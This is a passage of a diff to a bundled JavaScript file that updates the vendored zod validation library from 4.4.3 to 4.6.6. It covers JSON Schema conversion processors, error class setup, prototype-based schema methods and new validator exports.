setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -66764,7 +71223,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -66773,7 +71232,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -66785,11 +71244,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -66799,6 +71258,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -66806,19 +71266,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -66826,61 +71302,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -66891,35 +71443,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -66927,32 +71499,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -66997,14 +71569,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -67016,7 +71588,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -67027,12 +71599,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -67042,6 +71614,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -67085,7 +71658,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -67100,6 +71673,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -67107,10 +71682,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -67126,6 +71701,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -67139,8 +71715,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -67196,10 +71778,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -67216,6 +71800,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -67281,7 +71866,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -67304,6 +71889,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -67315,88 +71901,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -67410,182 +71961,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -67631,38 +72202,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, 